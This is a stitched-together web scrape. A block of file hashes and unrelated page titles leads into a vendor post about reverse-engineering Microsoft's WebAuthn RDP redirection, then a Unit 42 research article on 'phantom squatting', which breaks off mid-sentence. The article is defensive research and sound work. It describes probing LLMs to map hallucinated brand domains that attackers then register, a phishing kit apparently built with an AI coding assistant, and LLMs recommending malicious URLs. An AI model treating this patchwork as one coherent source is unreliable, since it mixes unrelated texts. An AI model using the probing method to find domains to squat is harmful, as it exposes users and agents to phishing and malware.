59b9153c4c9e155c976db1a2fd4d1b28fa10bb9c4dcafdc4758b352c037e3d86 5b6a466b65d479b77a03b15a95ac097b45e23ff7ae5ef6282985b2a503deb691 613e5314a7ded3155cdec49fd34e852e181f4651d78bd8bf3adad2f4dbf22b0d 62877a5096828c4bc2fca7cbee7d38b11a0c90fd0d3fc8c37981581e9988c919 634e89d8592d7c9e2bc1c098217a813947b44a4f80bc569e9a15c1e8b0864b91 67569adec99fd38b114ae07e2e549e6c16f75368f3c5373022c84934ed1c8e84 6d49233b1fca22f3823e856e4c16749e9c45f384ea57055fead16df35b217226 71c79e8bf71ed257435ea9b8b91e118ba03ec681860651190f7d7457804313ee 77469615c5f548063922b469a8c0a4116511395d013e5a798e123e9c119acc4b 7828e17e674507ab13dfd84b31b361fa19b9cb27ee130620ba9211feef746d31 8dbcde2a28a0b3de201214d7e3bd43acc97561924daa247c05c4b0536d42be85 901a43b42f997710147295a0625e20c935207f8c531daf5311449ec119a37dcc 94db6fa14b4e487dffba709b87e8a7e25483300ed409de243b19fff7cf2f0978 95cd48130247525d8a7e966bd3fa07e9d6c39ebbe3058ecccb336f66bb8e3d1e 96bb418128deeb2b9d2e4b66b98cae07b238b326b6456cc9b86802e67c504a03 98cce1e69873de25e5139aa848f469bef2af345a8a49d15000b5b5e72b582896 a1039de7ec690d64db9d7d91f3d777d308e49e958de4154aa0b62ded7820f1fe a785fc61fc4ff7cff0ddb540bf7ff12111ed0d6031f78f48387a6c16cb3c5451 aa0083f662f055e8d911c5de3a8f3a31b3c84cacc7dccc30c98f2be14dba4102 b58814fb3ce5a085014ee6e8d89f7cc1380b234b97170fd5f3398031281c6a77 b6912c23cccc4b0964d55608916297f6978f0b38c80a4beac472004a786fcef7 bd3230e4ceaf32ad2248ab069b164bd2144401967ac69de0a4cd1734fe429d9c c25799facb3e788830bcf614f33411d3bcfc0edd4a2200e160b5eb4ce700039f c39fedb662259bd76b11616966c41ff1fbda58d9b129b9c1bd818700eea92b29 ca8a00c9d36c64e5dcf562c7ae2b8df4bd6455fe0b41b32ee3a2a528ddc2d155 ce379de03e35e0ea2c88744c29b9e2678165214065f9b957177002c6bbe69084 d18369be4487d7cd0e4bd3dd0da720672e56e13ca43627305e26767e26925551 d7745513034af14617436ad6b3fc125fd0343218411d0c79bda56b0dadc86b2b d8ac0c08e4c698017558e532974cf749135d3d49757f05001e6127dc6e07cf17 dccf9f008b42a04f7e69d3bbf7b5ce81e71308545d6176cc4763920a424e5ac1 e5341edb7c039c456d46c39f194be86ce4b41725d7ad12d297d18aa99cddd675 e88c41a6f769cd760e323b4f7c01835433cd4059cd59630cb1a9eb1181b350ed f13f9cef5cc020bf673c7f4e19c93c312a043867f46796a8f01927a9a14c2533 f760bc16a585325ba9d74917f9e0994d3a4164c1141158c799b619d2c823e818 Invoke-ClickFixAnalysis – 0xVanasche SSL Certificates for SHA1 Fingerprint ab92f731ab20774dfdb95664ee41a2fbafe2a284 – SSL blocklist by Abuse.ch Technique: Hijack Execution Flow: DLL – MITRE ATT&CK Technique: Obfuscated Files or Information – MITRE ATT&CK

TL;DR: We built the first RDP client outside of Windows to support WebAuthn redirection, beating Microsoft's own macOS, iOS and Linux clients to it (since then FreeRDP has added support too, which we’re happy to see). No browser API could do what we needed, the protocol spec was missing entire commands, and we discovered that Microsoft's Windows implementation routes through internal, undocumented code paths we had to reverse-engineer. This is the story of what we found. Prisma Browser offers support for more than the standard secure web browser. We often build support for protocols that go beyond web applications. We develop tailored solutions for Prisma Browser to enable its users to solve complicated security issues. One useful example is Remote Desktop Protocol (RDP). IT operations frequently require SSH, while remote users need to access legacy and on-premises applications using protocols such as RDP. In the past, these were only accessible via thick clients, which required opening risky network tunnels, or through remote session hops that translate traffic into browser-native protocols like HTML5. This translation often impacts performance and breaks core functionality. To meet this need, we have developed native clients directly inside the browser. Doing this has also surfaced a demand for even more flexibility and features within these native clients. This post covers one of our recent announcements that not only fills a critical gap but makes our native clients superior to the common thick applications used today. It all started when someone asked: "Can we support security keys? If a user is on a website inside the remote session and it asks for their YubiKey, can we just redirect that to their local machine?" Sure. Microsoft has a protocol for that: [MS-RDPEWA], the WebAuthn Virtual Channel Extension. There's a spec. How hard can it be? Two weeks, one IDA Pro license and several existential crises later, we had it working. Two years ago, the reverse-engineering part of this work would have taken days, easily. Today, it took a few hours with AI to write a working IDA model context protocol (MCP) bridge, then a few more hours using that bridge to ask the binary the right questions and find the pieces we needed. AI did not reverse-engineer the feature for us. The hard parts were still knowing what to ask, validating every answer, setting breakpoints, comparing traces and proving the protocol behavior end to end. But the workflow changed dramatically: Instead of clicking through disassembly for days, we could build a tool, connect it to IDA and iterate in minutes. The [MS-RDPEWA] specification describes a dynamic virtual channel (DVC) called Microsoft::Windows::RDP.Webauthn. The server sends CBOR-encoded WebAuthn requests, the client talks to a local authenticator and sends back the response. Four commands: Clean. Straightforward. Surely the hard part is just wiring it up. We'll get back to that. Note: When we did this work the spec stopped here. The [MS-RDPEWA] 3.0 revision (March 2026) has since documented two more commands, GetCredentials (9) and GetAuthenticatorList (12), gated to Windows 11 24H2+ and Server 2025+ via KB5065789. Our initial plan: receive the WebAuthn request from the server, call navigator.credentials.create() in the extension, send back the response. Here's the problem. When a user visits okta[.]com inside the remote session and triggers WebAuthn, the server intercepts the ceremony. It computes clientDataHash = SHA-256(clientDataJSON), where clientDataJSON contains the page's origin, the challenge and the ceremony type. Then it sends that 32-byte hash over the RDP channel. On the client side, navigator.credentials.create() insists on constructing its own clientDataJSON, with its own origin: chrome-extension://..., not hxxps://okta[.]com. It hashes that, hands it to the authenticator, and the authenticator signs over it. When the assertion gets back to Okta's server: hash mismatch. Signature verification fails. SHA-256 is a one-way function. There's no going around this. We briefly considered reconstructing the clientDataJSON ourselves from the known challenge and origin. Three reasons that doesn't work: Browsers don't produce byte-identical JSON for the same inputs (field ordering, encoding). Native apps using WebAuthn SDKs add more variability. Older Windows servers don't even send the ingredients. They send only the 32-byte hash. No origin. No challenge in cleartext. Just the hash. No existing browser API can accept a pre-computed clientDataHash and pass it directly to an authenticator. Not navigator.credentials. Not chrome.webAuthenticationProxy (designed for the opposite direction). Not remoteDesktopClientOverride (requires the original JSON). Not WebHID (USB-only, no Touch ID, no phone-as-authenticator). Since we built this, the W3C WebAuthn working group has started standardizing exactly this case (the remoteClientDataJSON extension, editor's draft section 10.1.6). It is not yet in any shipping browser, so the custom API below is still required, but the direction is encouraging. So we built one: a custom extension API with makeCredential() and getAssertion() methods identical to navigator.credentials in every way except one. The caller supplies the clientDataHash directly; it goes straight to the authenticator. The upside of being a web-based RDP client inside Chromium: We get Chromium's entire FIDO2 stack for free. Authenticator discovery across USB, BLE, NFC and platform authenticators. Cloud-assisted Bluetooth low energy (caBLE)/Hybrid transport for phone-as-authenticator. Touch ID and Windows Hello integration. The credential selector UI. Our custom API is a thin wrapper reusing all of this machinery. Why not just use libfido2, the way FreeRDP does? Because FreeRDP is a native client and we are not. libfido2 reaches authenticators over USB or NFC by opening raw HID devices directly, which a native process can do but code inside a browser cannot. From WebAssembly there is no raw HID access. The only in-browser transport is WebHID, which is USB-only (no Touch ID, no Windows Hello, no phone-as-authenticator). Getting true device access would mean shipping a separate native helper outside the browser, defeating the point of an in-browser client. And even then, libfido2 alone would not give us platform authenticators or phone-as-authenticator over caBLE/hybrid. By wrapping Chromium's own FIDO2 stack we get all of those for free. That is also why, on Windows, our path runs into Chromium's WebAuthn machinery and its clientDataJSON requirement, while a native libfido2 client does not. This worked. YubiKey blinks. User touches it. Registration succeeds. We celebrated for approximately 90 seconds before the next problem emerged. Our WebAuthn redirection worked beautifully against some Windows servers and completely failed against others. Same client code, same authenticator, same relying party. Here's why. On Windows, every browser (including Chromium) calls WebAuthNAuthenticatorMakeCredential from webauthn.dll. This public API unconditionally requires the full clientDataJSON: Our approach of passing a raw hash directly works on macOS and Linux (where we control the authenticator stack) but hits a wall on Windows. The deeper issue: Not all Windows servers send the same data. Newer Windows servers (API version 9, currently only Windows 11 25H2+) additionally transmit clientDataJSON, remoteWebOrigin and the full W3C credential options over the wire. Microsoft published the v9 struct changes to webauthn.h in September 2025. If both sides are v9, you get the new fields and everything is straightforward. But older Windows servers (Windows 10, Server 2019/2022, Windows 11 through 24H2) send only the 32-byte hash. This is the vast majority of enterprise environments. So how does Microsoft's own mstsc.exe handle older servers? It uses the same webauthn.dll. But how it actually processes a hash-only request is undocumented. Time to break out IDA Pro. Before diving into disassembly, we had one paranoid question to answer first: what if the server is just... cheating? Like, what if it quietly detects that it's talking to mstsc.exe and slips it a clientDataJSON in some side channel, and the whole thing only works because Microsoft wrote both ends and decided third parties were on their own? We had to know before spending days in a disassembler. So we hooked mstscax.dll with Frida and intercepted the WebAuthn DVC channel in both directions across two complete FIDO2 ceremonies. Result: no clientDataJSON on the wire. The server sends a 32-byte clientDataHash. The client sends back a CTAP2 response. No JSON anywhere. So mstsc.exe is dealing with the exact same problem we are. But it works. Sorry I doubted you, Microsoft. mstsc.exe never calls the public WebAuthn API. webauthn.dll has a “dual personality”: Public API (WebAuthNAuthenticatorMakeCredential, etc.): documented, stable, used by browsers and apps, requires clientDataJSON. The DVC plugin path: an exported function VirtualChannelGetInstance() creates a WebAuthNDVCPlugin (implementing IWTSPlugin). This plugin handles everything through private, unexported functions that are perfectly happy with just clientDataHash and no JSON. Microsoft does acknowledge this dual role. The IWTSPlugin MSDN page notes: "The IWTSPlugin interface is implemented by %System32%\webauthn.dll to enable the Remote Desktop WebAuthn redirection functionality." The page also points you to VirtualChannelGetInstance (which has its own reference page) to obtain the interface. What it omits is what the plugin does with a hash-only request. VirtualChannelGetInstance takes a GUID parameter, and Microsoft documents the prototype on its reference page (noting it is not shipped in a header, so you declare it yourself). The GUID is IID_IWTSPlugin, which has shipped in tsvirtualchannels.h in the Windows SDK for years. It is a genuine third-party integration point; what Microsoft does not document is how the plugin handles a hash-only request, which is the behavior we reverse-engineered to replicate in our own Windows code path. The call chain we reverse-engineered: The private CtapCborDecodeRpcRequest treats clientDataJSON as optional. If it's in the CBOR, use it. If not, pass through the hash. The public API is strict; the private plugin path isn't. A DVC plugin for the WebAuthN_Channel, implemented in C as part of our existing WebAssembly (Wasm) client A custom Chromium extension API that accepts pre-computed clientDataHash values, supporting USB keys, Touch ID, Windows Hello and phone-as-authenticator via caBLE/Hybrid A TypeScript protocol layer handling CBOR encoding/decoding for MS-RDPEWA, including parts that were undocumented when we built it A detailed reverse-engineering report on webauthn.dll's dual nature Works on both newer Windows servers (with clientDataJSON) and older ones (hash only). Supports registration and authentication. Handles the commands that were undocumented at the time. When we shipped it, no other non-Windows RDP client did this. FreeRDP has since added support (version 3.25.0, April 2026), which is great news. Microsoft updated the MS-RDPEWA spec (version 3.0, March 2026) to document commands that were previously missing The W3C is standardizing the browser side via the remoteClientDataJSON extension FreeRDP shipped a non-Windows implementation in version 3.25.0 (April 2026) We have folded these in, in the text above. The reverse engineering was necessary when we did it, and the cross-platform challenge is unchanged. The protocol is platform-agnostic; the implementation knowledge is not. MS-RDPEWA defines a clean wire protocol. But implementing it correctly required reverse-engineering mstsc.exe, because the spec was missing commands, field definitions and protocol extensions (Microsoft has since documented some of these in the MS-RDPEWA version 3.0 revision, March 2026). The Windows version split is the core architectural challenge. Newer servers send clientDataJSON. Older servers send only the hash, requiring an approach that no standard browser API supports. Microsoft handles this through webauthn.dll's DVC plugin; a documented entry point, but one that only works on Windows and whose hash-only behavior is undocumented. If you're not on Windows, you're on your own. Microsoft’s documentation gaps aren’t edge cases. Niche details such as a missing command, undocumented protocol fields, the undocumented behavior behind the plugin or a spec example with the wrong command number are things that must be fixed for the implementation to work at all. When we shipped it, this was the first implementation of WebAuthn redirection outside of Windows. Since then FreeRDP has added support too (version 3.25.0, April 2026), which is great to see. Microsoft's own macOS, iOS, Android and Linux RDP clients don't support it. We hope this post explains why, and what developers can do to leverage this knowledge to improve their own RDP clients. Native RDP and SSH clients in the browser allow you to implement security and data controls for all your sessions. To find out more about Enterprise Browsers' security capabilities, you can read our deep-dive on native RDP and SSH access or explore the five non-negotiables for choosing a secure enterprise browser.

Unit 42 researchers found that large language models (LLMs) consistently hallucinate web domains for legitimate brands. Adversaries are actively weaponizing this vector by registering these nonexistent domains to intercept traffic generated by AI systems. We call this phenomenon phantom squatting, and it poses a significant risk to the software supply chain. Our proactive monitoring of registration for high-priority hallucinated domains yielded real-world detections across multiple sectors. We were able to predict use of these domains from 18–51 days ahead of adversary registration. A standout case reveals an attacker who leveraged an AI coding assistant to build a full phishing kit named Montana Empire. This kit targeted a domain our detection pipeline identified as a high-risk hallucination target 23 days earlier, demonstrating the full cycle from AI-assisted attack development to LLM-hallucinated domain prediction. To detect the risk posed by phantom squatting, we analyzed 913 global brands and executed 685,339 URL queries across multiple configurations of two distinct LLM models. This generated 2.1 million URLs and revealed over 13,229 confirmed malicious URLs. Furthermore, we discovered approximately 250,000 hallucinated domains that remain unregistered, presenting a significant opportunity for adversaries to exploit the software supply chain through preemptive registration. Palo Alto Networks customers are better protected from phantom squatting through the following products and services: The Unit 42 AI Security Assessment can help empower safe AI use and development. If you think you might have been compromised or have an urgent matter, contact the Unit 42 Incident Response team. The software supply chain threat landscape is shifting. For decades, supply chain attacks focused on predictable artifacts such as tampered build tools, malicious dependencies and compromised update servers. Defenders built protections around these predictable attack surfaces using package integrity checks, signed binaries and dependency auditing tools. However, this model is becoming less effective. LLMs are no longer peripheral utilities, they are active participants in the software development lifecycle. People consult AI coding assistants for documentation links. In doing so AI agents perform autonomous web research on behalf of developers, then formulate and execute HTTP requests against URLs the models themselves generate. Enterprise continuous integration and continuous delivery (CI/CD) pipelines integrate AI assistants that recommend third-party service endpoints. For example, a developer querying a pipeline assistant to configure a cloud deployment notification might receive a recommended webhook URL such as hxxps[:]//api.build-notifier[.]io/v1/pipeline/events. Such a URL could be entirely fictitious and an adversary could have pre-registered it to intercept automated build telemetry or secrets. In each case, downstream consumers often trust the LLM's output including the URLs it generates, without independent verification. This situation fundamentally alters the attack surface. When an LLM produces a URL, that artifact may be: Ingested directly by autonomous AI agents that retrieve the resource Integrated by developers into production-grade code Suggested by AI coding assistants as the authoritative endpoint for third-party services Included in documentation generated through large-scale automation In these scenarios, an LLM functions as a trusted supply chain dependency. However, as with any trusted architectural component, it is susceptible to systematic exploitation. Prior research on slopsquatting established the foundational attack pattern. LLMs frequently hallucinate software package names that do not exist in any legitimate registry. Phantom squatting extends this adversarial logic from software packages to web infrastructure. Just as an LLM might hallucinate a library name, it can generate fictitious domains for web portals, API endpoints or corporate services for a target brand. Throughout this article, we use the term phantom domain to specifically refer to a hallucinated domain that an adversary has or could weaponize. The adversarial logic is illustrated by the following scenarios: A coding assistant generates a plausible but unregistered benefits portal URL, allowing an adversary to preemptively register it. An AI research agent produces a plausible banking portal domain that an adversary could have already registered to capture traffic. A developer integrates an AI-generated API endpoint into their code, unknowingly directing application data to an attacker-controlled server. This is no longer a theoretical risk. Our research confirms this vector is currently active in the wild. Typically, URL filtering and threat intelligence frameworks operate under a critical, shared assumption, that malicious infrastructure possesses a detectable reputation. Typical block lists rely on historical reports of malicious activity, while threat feeds require a domain to be observed within an active campaign before classification. Reputation scoring models require a domain to maintain a presence long enough to accumulate telemetry signals. A phantom domain effectively exploits a zero-reputation bypass. At the moment an adversary registers and weaponizes a hallucinated domain it: Carries no threat intelligence history Has not established a reputation score Lacks any blocklist entries The infrastructure is nascent, the content is original and conventional defensive perimeters have no actionable signal. By the time threat intelligence systems synchronize, people have already been funneled to the site by an AI system they consider authoritative. This shows the structural advantage of phantom squatting over legacy phishing. The fake domain is born clean because it comes from the LLM’s own internal vocabulary. These are the same language patterns that make the model’s output seem legitimate. Figure 1 shows the phantom squatting attack lifecycle operates across four distinct phases: Discover Act Lure Bypass The adversarial lifecycle begins by mapping a target brand's hallucination surface — the collection of phantom domains an LLM generates in response to diverse prompt strategies. This phase, which we define as adversarial hallucination probing, involves systematically querying models. Attackers could use realistic prompts that mimic everyday user operations, with the primary objective of observing and mapping the resulting hallucination patterns. Armed with a prioritized inventory of phantom domains, adversaries proceed to preemptively register those most valuable for attacks. For generic top-level domains (TLDs), the barriers to entry are negligible. Registration is both economical and nearly instantaneous. Our analysis confirms that threat actors operate with significant speed, often well within the window of any feasible defensive response. In observed real-world telemetry, these domains transitioned from initial registration to active malicious content deployment within hours. In the case of Montana Empire, the adversary had even staged the server-side phishing kit prior to the domain’s registration, demonstrating a highly optimized zero-reputation bypass strategy. Following the registration and subsequent weaponization of a phantom domain, the LLM itself functions as the primary attack delivery mechanism. Any user or autonomous AI agent that issues a query triggering the hallucinated URL receives an authoritative, high-confidence recommendation to navigate directly to attacker-controlled infrastructure. This represents a defining characteristic of the phantom squatting threat. The delivery vector bypasses traditional phishing emails, malvertising or watering hole attacks. Instead, the delivery mechanism is the trusted AI assistant already integrated into the user’s workflow. Consider a scenario where an employee queries for a third-party service endpoint from an AI coding assistant. If the LLM provides a fictitious domain like evilphishing[.]com/auth/login, the exploitation occurs without a single traditional phishing lure. The victim is compromised simply by following a confident recommendation from a system their organization has already formally sanctioned. The final phase of the attack lifecycle relies on a newly registered phantom domain's zero-reputation status, circumventing most conventional URL defenses. As noted earlier, at the moment of registration and initial weaponization, the domain lacks any blocklist entries, threat intelligence history or established reputation score. It has not yet been reported or classified by people. From a defensive perspective, the infrastructure is nascent and indistinguishable from any legitimate new domain until it has generated sufficient malicious telemetry to trigger a classification signal. By the time threat intelligence systems synchronize, the exploit has already been delivered to victims who relied on the trusted AI assistant’s authoritative recommendation. This structural advantage for attackers is not merely a transient window of opportunity. Sophisticated attackers can maintain this bypass through active evasion techniques, including redirect cloaking — serving benign content to automated crawlers while targeting human visitors — and the deployment of CAPTCHA-protected infrastructure. To quantify and operationalize the phantom squatting threat, we engineered a multi-agent discovery framework. This framework simulates the comprehensive attack lifecycle, from adversarial probing to real-world registration detection. Figure 2 shows the discovery pipeline of this framework. The query agent shown in Figure 2 generates a prompt corpus to probe LLMs. It operates in three main phases. Brand context profile: The agent researches a brand's products, portals and developer resources. This process ensures prompt references to real services, which helps generate high-fidelity hallucinations. Adversarial probing: Effective probing requires a diverse set of realistic prompts. Rather than probing randomly, we exploit known LLM failure modes to generate a realistic and diverse set of prompts at scale. These include premise acceptance, authority-framing compliance and the model's tendency to complete narratives with authoritative yet fictitious details. Diversity filtering: To ensure variety, we use Jaccard similarity to filter out similar prompts. This broadens the probe of the target's hallucination surface. This methodology produced 685,339 prompts across 913 global brands. Prompts from the query agent feed into the URL creator agent. The URL creator agent executes the prompt corpus across multiple LLM providers and a spectrum of LLM temperature configurations. Our methodology used two distinct LLM families: LLM1: A production-optimized, mini-class variant of an enterprise LLM from a major technology provider (released April 2025), engineered for high-volume, cost-efficient deployment. LLM2: A low-latency, lite-class variant of a frontier LLM from a leading AI provider (released June 2025), designed for cost-efficient deployment at scale. We designate these models as LLM1 and LLM2 throughout this analysis. This distinction is important because both models were released before the malicious domains identified in this research were registered. This confirms that the phantom domains were generated by the models' internal language patterns, not learned from training data. We tested each prompt using three temperature settings (designated below as T) to test the AI responses: Precise (T = 0.1): The model is highly predictable, almost always choosing the most likely next token, resulting in consistent and repetitive answers. Balanced (T = 0.7): This setting mixes predictability with some variability, balancing consistency with a touch of novelty. Creative (T = 1.5): The model selects from a wider range of less likely words, leading to more imaginative and diverse outputs. We collected all the URLs found in the LLM responses. If the model didn't provide a URL or said it didn't know the answer, we ignored that specific response. This phase ends with a prioritized list of hallucinated domains that we discovered. The value of these domains to an attacker is determined by two main features: Thermal hallucination persistence (THP): This measures how consistently the AI generates the same domain name. Domains that appear even when the AI is set to be very precise are high-value targets. This is because the AI is more likely to show these to real users as if they were facts. Cross-model hallucination consensus: This occurs when different types of AI models all generate the same fictitious domain for the same prompt. If several different models all agree on the same wrong information, it makes that fake domain a much more predictable target for attackers to use. URLs generated by the URL creator agent feed into the verification agent, which assesses multi-signal risk and processes each unique AI-generated URL through an enrichment pipeline that integrates: Threat intelligence: Category and risk verdicts from threat intelligence systems for existing URLs Active content crawling: Capturing live page content and screenshots, which are then analyzed by a suite of deep learning models trained to detect malicious signals for existing URLs. Ownership analysis: Examination of the registrar, registration date, registrant organization, nameservers and privacy status. This data is compared against the legitimate brand's established registration profile. If a URL exists and exhibits malicious signals, we block it immediately. If a URL shows high-risk indicators, it is flagged for in-line content analysis and added to the proactive watchlist to monitor for changes in registration details or page content. These high-risk indicators include parked pages or insufficient content for a definitive malicious categorization. We refer to domains not yet registered at the time of analysis as non-existent domains (NXDs). We add these NXDs to a proactive watch list of phantom domains. We then use periodic monitoring of registration event streams to detect when any watchlisted domain is registered. When a registration event matches a hallucinated phantom domain, an alert is generated and the domain re-enters the verification pipeline for additional analysis. If the newly registered domain proves benign, it is removed from the watch list. For example, if a legitimate brand registers a domain for defensive purposes or a new product offering, it is considered benign. However, if the ownership or content shows malicious indicators, the domain is assigned a malicious verdict. This section quantifies the phantom squatting attack surface, measured at the domain level rather than the URL level. Although our pipeline extracts millions of unique URLs, the registerable attack surface is at domain level. Each generated URL undergoes DNS resolution to determine whether it resolves to live infrastructure, NXDs or high-risk endpoints. NXD URLs are then normalized to extract the parent registerable namespace. If that namespace is unregistered, it is enrolled in the phantom domain watchlist. The subsections below characterize the full risk landscape: Confirmed malicious infrastructure served by these models The structural composition of the phantom domain inventory The model and configuration level factors that govern hallucination volume Our analysis encompasses a dataset of 913 global brands including the following sectors: Technology Finance Healthcare E-commerce Government Gambling Logistics To construct the hallucination corpus, we executed 685,339 adversarial prompts across the LLM1 and LLM2 architectures, yielding 2.1 million unique URLs. Our discovery pipeline identified that, of the 2.1 million unique URLs produced by the models, threat intelligence systems flagged 13,229 (0.61%) as malicious at the time of analysis. These results underscore that the risk is not merely theoretical. LLMs are actively recommending known malicious infrastructure to downstream users. Beyond these confirmed threats, an additional 41,313 URLs (1.90%) were categorized as high risk — including parked domains, adult content and pages with insufficient telemetry — representing nascent infrastructure or opportunistic targets for adversarial registration. Figure 3 illustrates the threat landscape of confirmed malicious infrastructure generated by these models. Malware represents the dominant category at 67.2%, comprising sites used for drive-by downloads, malicious scripts and exploit-kit delivery. Phishing artifacts (16.2%) encompass credential harvesting portals and brand-impersonation sites targeting the global organizations in our analysis. Grayware (13.7%) includes adware distribution and potentially unwanted program (PUP) installers. Of significant concern, command-and-control (C2) infrastructure accounts for 3.0% of identified URLs — a vector of particular risk for autonomous AI agents that may execute web requests to attacker-controlled endpoints when interpreting LLM-generated instructions. Our pipeline revealed that of the 2.1 million unique URLs in our corpus, 809,455 (37.28%) resolve to NXDs — fictitious endpoints generated by LLMs. These 809,455 NXD URLs collapse into approximately 250,000 unique phantom domains after normalization, each representing a discrete, preemptive registration opportunity for an adversary. The derivation of this dataset is architecturally significant. Approximately 10.8% of NXD URLs (~87,630) constitute pure domain-level hallucinations, where the LLM fabricates an entirely unregistered root namespace. The remaining 89.2% involve subdomain or path-level hallucinations. To isolate the registerable attack surface, we extracted the parent domain for each artifact. If the parent was unregistered, we enrolled it in our phantom domain watch list. This extraction methodology reduces the 809,455 URL-level NXDs to a tractable inventory of approximately 250,000 registerable phantom domains. Comparative analysis of the two models reveals markedly divergent hallucination profiles despite evaluation against an identical corpus of prompts. LLM1, the production-optimized enterprise model, exhibited a significantly elevated NXD rate of 44.6% across its 1.2 million unique URLs, approximately 17 percentage points above the 27.5% rate observed for LLM2. Hallucination volume varies substantially by model architecture. However, the confirmed malicious URL rates remained comparable at 0.64% and 0.56%, respectively, indicating that the susceptibility to generating malicious infrastructure is a consistent risk across disparate training lineages. A consistent pattern emerges regarding high-risk benign URLs, where LLM1 (2.08%) again demonstrates a higher rate than LLM2 (1.67%). This further confirms that LLM1's increased output volume systematically expands the hallucination surface across all risk tiers, extending beyond confirmed malicious infrastructure. Figure 4 illustrates the comparative landscape of risk across both LLM architectures. It delineates the NXD hallucination rate, the volume of confirmed malicious URLs and the prevalence of high-risk artifacts identified within the corpus. LLM inference temperature, the parameter controlling output randomness, quantifiably influences phantom domain generation rates. Across three configuration modes evaluated uniformly, the Creative configuration (T = 1.5) yielded a substantially elevated NXD rate of 43.10%, compared to 34.64% for Precise (T = 0.1) and 32.52% for Balanced (T = 0.7). Conversely, malicious URL rates remained statistically stable between 0.57–0.63%, suggesting that adversarial content risk is an intrinsic model property rather than a function of entropy. This structural decoupling confirms that while temperature does not drive malicious intent, it significantly amplifies the total hallucination-based exposure surface. Figure 5 illustrates the impact of inference temperature configuration on both the NXD hallucination rate and malicious URL rate across the three distinct modes used in our discovery pipeline. The structural composition of phantom domain hallucinations is not uniform. Within our corpus of 809,455 unique NXD URLs, nearly half (49.7%) manifest as path-level hallucinations, where the LLM constructs a plausible resource path on a legitimate, registered domain that fails to resolve. An additional 39.5% are categorized as subdomain-level hallucinations — fabricated sub-architectures under existing base domains. The most critical tier, representing 10.8% of the dataset, consists of pure domain-level hallucinations involving entirely unregistered root namespaces. Analysis reveals divergent behavioral profiles between architectures: LLM1 exhibits a pronounced bias toward path-level extrapolation (56.6%) LLM2 generates a significantly higher proportion of subdomain-level (45.1%) and pure domain-level (20.0%) hallucinations, expanding the registerable attack surface available for adversarial exploitation Figure 6 illustrates the structural distribution of NXD hallucinations across three architectural tiers: path, subdomain and domain. This provides a comparative visualization for the aggregate corpus and individual model performances. Aggregate statistics confirm the structural scale of the phantom squatting threat. The following case studies document the real-world manifestation of this vector. These examples demonstrate instances where our discovery pipeline identified a phantom domain prior to adversarial registration for malicious deployment. The case studies are: Impersonation of a postal service's e-commerce marketplace in a phishing campaign using the Montana Empire phishing kit Impersonation of a national postal service to deliver a malicious Android app Four other examples of phantom squatting weaponized in real-world attacks To quantify this proactive detection advantage, we define the adversarial exploitation window (AEW). This window is the temporal interval between the initial hallucination event and the subsequent registration by a threat actor. A positive AEW signifies actionable lead time for defenders. A negative AEW signifies that an adversary registered the infrastructure prior to our detection. This provides historical validation of the threat model, confirming that disparate AI architectures and human adversaries independently converged on the same structurally inevitable hallucination. AEW: 23 days Target: Customers of a national postal service's e-commerce marketplace On March 8, 2026, our multi-agent discovery pipeline generated 13 hallucinated URLs for a domain similar to a national postal service e-commerce website across both LLM families and all temperature configurations — including the Precise (T = 0.1) setting. This systemic convergence indicated high Thermal Hallucination Persistence (THP), where the models treated the infrastructure as a near-factual certainty rather than speculative creative entropy. Consequently, the domain was enrolled in the phantom domain watchlist within the same week. On March 31, 2026 — representing an AEW of 23 days — an adversary registered the domain and deployed a weaponized phishing kit impersonating a legitimate marketplace. Our pipeline achieved same-day detection of the registration event. Analysis of the attacker’s infrastructure revealed that they developed the phishing kit using an AI coding assistant, evidenced by a project directory identified within the phishing kit ZIP archive. Telemetry from the session logs confirmed the adversary leveraged the assistant to scrape legitimate storefronts, engineer the PHP backend and develop a Telegram-based C2 interface for real-time credential exfiltration. This case demonstrates the full cycle of the phantom squatting supply chain threat model. The adversary used AI systems to generate attack tooling against infrastructure identified by our discovery pipeline 23 days earlier. Both parties arrived at the spoofed domain via the same mechanism, the LLM’s internal prediction of a structurally inevitable hallucination for the target brand. The Montana Empire phishing kit features several advanced components: A real-time scraper designed to maintain site parity with live storefronts Dual-channel interception for credit cards and bank transfers, with International Bank Account Numbers (IBANs) rotated via Telegram bot commands Harvesting of national identity document data alongside payment credentials An operator control panel for manual one-time password (OTP) relay and victim adjudication Table 1 shows the specific domain patterns hallucinated by the models in our analysis. Table 1. Prompts, hallucinated URLs and model configurations. Figure 7 illustrates the Montana Empire admin panel, with a banner bearing the phrase Kimseye Güvenme (Trust No One). Through this control panel, the attacker managed victim OTP approvals and credential relays via Telegram. When we recovered the phishing kit file structure from the server of the spoofed domain, we noted an AI coding assistant project directory, indicating that the attacker used an AI tool to develop the kit. AEW: 51 days Target: Customers of a national postal delivery service On Feb. 18, 2026, our multi-agent discovery pipeline identified hallucinated URLs for admin.[redacted]post-app[.]com across five distinct model-configuration tiers — including LLM1 at the Precise (T = 0.1) setting. This high degree of convergence led to the parent domain, [redacted]post-app[.]com, being enrolled in the phantom domain watchlist for proactive monitoring. On April 10, 2026 — representing an AEW of 51 days — an adversary registered [redacted]post-app[.]com and immediately deployed a site that used a pixel-accurate brand clone impersonating the national postal service. The malicious landing page replicated the service’s authoritative aesthetic. It used the same HTML hex color code as the official brand and fabricated social proof (4.8-star rating, over 2 million users) to drive victims to download a malicious Android application package (APK) file named [redacted]post.apk. Our registration event stream achieved detection within hours of infrastructure creation. While legitimate postal applications are restricted to official marketplaces, this out-of-band delivery bypasses standard platform-level security telemetry. Our multi-agent discovery pipeline and subsequent triage verified the following cases shown in Table 2. Table 2. Phantom domain detection examples. A real-world example involving a major bank in the UAE proves that AI models predictably hallucinate the same fake information. On April 1, 2025, a threat actor registered the domain [redacted]business[.]com to steal login details from company database administrators. This campaign had been running for nearly a year. Our pipeline system independently predicted and generated that same fake web address 11 months after it was first used. Our team analyzed this domain through our verification pipeline after detecting that it was being registered again. Two other examples of phantom squatting in Table 2 reflect the coordinated registration of [redacted]-login[.]com and [redacted]-es[.]org. A single actor registered these domains using identical registrars, nameservers and privacy shielding within an 18-minute window. This demonstrates that phantom squatting is useful for detecting multi-target, orchestrated campaigns. In this instance, the adversary deployed a unified infrastructure for both domains. Both phishing sites use an identical architectural template, featuring a মেগা জ্যাকপট পুল (Mega Jackpot Pool) display and Bengali-language localized content. By explicitly referencing Bangladesh (বাংলাদেশে) and processing transactions in Bangladeshi Taka (৳), the actor provided definitive attribution signals for a regionally focused, high-velocity operation. The highest-consequence phantom squatting target is not a human user. Instead, it is an autonomous AI agent. Agentic systems increasingly execute multi-step workflows that include web fetching, API calls and resource downloads, all based on URLs generated by the LLM orchestrating the pipeline. When an 